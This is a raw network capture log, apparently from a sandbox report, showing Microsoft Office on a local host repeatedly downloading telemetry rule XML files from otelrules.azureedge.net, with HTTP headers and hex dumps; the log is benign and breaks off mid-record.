2024-11-20 06:49:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064909Z-r1d97b99577656nchC1TEBk98c00000008kg000000005va7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:09 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: a4b0abd9-001e-0049-4af2-3a5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064909Z-1777c6cb7544nvmshC1TEBf7qc000000090g00000000cx1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:09 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:09 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:09 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064909Z-1777c6cb754j47wfhC1TEB5wrw0000000540000000004qhz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:09 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:09 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-185f5d8b95c9mqtvhC1NYCghtc0000000a0g000000002erp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:10 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-185f5d8b95cdh56ghC1NYCk1x400000003ug0000000001rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-r1d97b99577l6wbzhC1TEB3fwn00000008pg000000003sma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-r1d97b99577n4dznhC1TEBc1qw00000008k0000000006mn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:10 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-185f5d8b95c4hl5whC1NYCeex000000009qg00000000kmka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:10 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-185f5d8b95csd4bwhC1NYCq7dc00000009tg0000000099cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:10 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-185f5d8b95c4bhwphC1NYCs8gw0000000a0000000000bk2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:10 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-185f5d8b95c9mqtvhC1NYCghtc00000009u000000000qxtk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:10 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:11 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:10 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064910Z-1777c6cb7542p5p4hC1TEBq098000000098g000000006vuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" 